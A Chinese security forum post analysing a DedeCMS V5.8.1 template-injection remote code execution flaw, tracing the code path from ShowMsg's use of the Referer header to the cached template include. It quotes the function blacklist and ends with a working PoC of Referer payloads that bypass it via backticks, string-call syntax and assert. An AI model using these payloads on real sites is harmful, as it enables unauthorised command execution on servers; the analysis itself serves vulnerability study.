安全矩阵

 找回密码
 立即注册
搜索
查看: 2454|回复: 0

DedeCMS_V5.8.1 ShowMsg 模板注入远程代码执行漏洞分析

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-11 20:16:04 | 显示全部楼层 |阅读模式
原文链接:DedeCMS_V5.8.1 ShowMsg 模板注入远程代码执行漏洞分析

楔子

晚上在Srcincite上面看到了国外发布的DedeCMS_V5.8.1前台任意未授权命令执行,一时兴起就下下来分析了一波,自己也比较菜,有些点可能都说的不是很明白,其实这洞蛮简单的,有点类似于以前那个dz的前台代码执行,在写入临时tpl缓存文件的时候,缓存内容中存在可控的函数且使用了include进行包含,导致我们可以写入任意代码,造成代码执行,话不多说直接进入正题,漏洞主要是由于include\common.func.php中定义的ShowMsg参数导致的,任何文件存在调用ShowMsg的情况下,都可以造成模板注入,下面以Plus/recommend.php为例展开分析:
Plus/recommend.php
先看到recommend.php,

贴出关键代码:
  1. require_once dirname(__FILE__) . "/../include/common.inc.php";//全局常用函数require_once DEDEINC . '/common.func.php';
  2. if (empty($aid)) {
  3.     ShowMsg("文档ID不能为空!", "-1");
  4.     exit();
  5. }
复制代码


include/common.func.php
接着进入到common.func.php

贴出关键代码:
  1. if ($gourl == -1) {
  2.         $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
  3.         if ($gourl == "") {
  4.             $gourl = -1;
  5.         }
  6.     }
  7.     ......
  8.     function JumpUrl(){
  9.         if(pgo==0){ location='$gourl'; pgo=1; }//$gourl的获取方式为$_SERVER['HTTP_REFERER']可控

  10.     $msg = $htmlhead . $rmsg . $htmlfoot;
  11.     $tpl = new DedeTemplate();
  12.     $tpl->LoadString($msg);//dedetemplate.class.php
  13.     $tpl->Display();
复制代码


以上就是临时构造的模板内容,且$gourl可控,在Plus/recommend.php中给gourl定义默认为-1//ShowMsg("文档ID不能为空!", "-1");,所以$gourl的值为REFERER,接着看处理模板的地方。
include/dedetemplate.class.php
在dedetemplate.class.php中,跟进到LoadString函数
  1. public function LoadString($str = '')
  2.     {
  3.         $this->sourceString = $str;
  4.         $hashcode = md5($this->sourceString);
  5.         $this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";//生成的缓存文件名
  6.         $this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
  7.         $this->ParseTemplate();
  8.     }
复制代码


Display函数
  1. public function Display()
  2.     {
  3.         global $gtmpfile;
  4.         extract($GLOBALS, EXTR_SKIP);
  5.         $this->WriteCache();
  6.         include $this->cacheFile;
  7.     }
复制代码


我们前面gourl注入的恶意代码,通过调用WriteCache写入
  1. public function WriteCache($ctype = 'all')
  2.     {
  3.         if (!file_exists($this->cacheFile) || $this->isCache == false
  4.             || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile)))
  5.         ) {
  6.             if (!$this->isParse) {
  7.                 $this->ParseTemplate();
  8.             }
  9.             $fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
  10.             flock($fp, 3);
  11.             $result = trim($this->GetResult());
  12.             $errmsg = '';
  13.             if (!$this->CheckDisabledFunctions($result, $errmsg)) {
  14.                 fclose($fp);
  15.                 @unlink($this->cacheFile);
  16.                 die($errmsg);
  17.             }
  18.             fwrite($fp, $result);
  19.             fclose($fp);
  20.             if (count($this->tpCfgs) > 0) {
  21.                 $fp = fopen($this->configFile, 'w') or dir("Write Config File Error! ");
  22.                 flock($fp, 3);
  23.                 fwrite($fp, '<' . '?php' . "\r\n");
  24.                 foreach ($this->tpCfgs as $k => $v) {
  25.                     $v = str_replace(""", "\\"", $v);
  26.                     $v = str_replace("\[        DISCUZ_CODE_4        ]quot;, "\\\[        DISCUZ_CODE_4        ]quot;, $v);
  27.                     fwrite($fp, "\$this->tpCfgs['$k']="$v";\r\n");
  28.                 }
  29.                 fwrite($fp, '?' . '>');
  30.                 fclose($fp);
  31.             }
  32.         }
复制代码


我们可以先看一下赋值Referer为coldwater,然后写入的模板内容。

现在我们将Referer替换为注入代码,当然我们如果直接写一些常见的危险函数是不行的,因为在dedetemplate.class.php中,存在CheckDisabledFunctions函数,CheckDisabledFunctions函数在WriteCache中被调用,会对内容进行一个检测。
  1. public function CheckDisabledFunctions($str, &$errmsg = '')
  2.     {
  3.         global $cfg_disable_funs;
  4.         $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite';
  5.         // 模板引擎增加disable_functions
  6.         if (!defined('DEDEDISFUN')) {
  7.             $tokens = token_get_all_nl($str);
  8.             $disabled_functions = explode(',', $cfg_disable_funs);
  9.             foreach ($tokens as $token) {
  10.                 if (is_array($token)) {
  11.                     if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
  12.                         $errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" <a href="http://help.dedecms.com/install-use/apply/2013/0711/2324.html" target="_blank">more...</a>';
  13.                         return false;
  14.                     }
  15.                 }
  16.             }
  17.         }
  18.         return true;
  19.     }
复制代码



但是很明显,assert不在这个黑名单里面,且对get和post请求中的字符没有过,滤我们可以利用assert或者call_user_func执行任意代码.

除此之外,也并没有对""进行检测,在php中,""中的字符串可以被解析为函数,此外对反应号也没有检测,贴出实例。


POC:
  1. GET /plus/recommend.php?b=dir  HTTP/1.1
  2. Host: 127.0.0.1
  3. Referer: <?php $b = `$a`;  echo "<pre>$b</pre>";/*
  4. Referer: <?php "system" ($b); /*
  5. Referer: <?php  assert  ($b); /*
复制代码


原文地址:https://srcincite.io/blog/2021/0 ... t-cms-in-china.html


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 16:29 , Processed in 0.012931 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表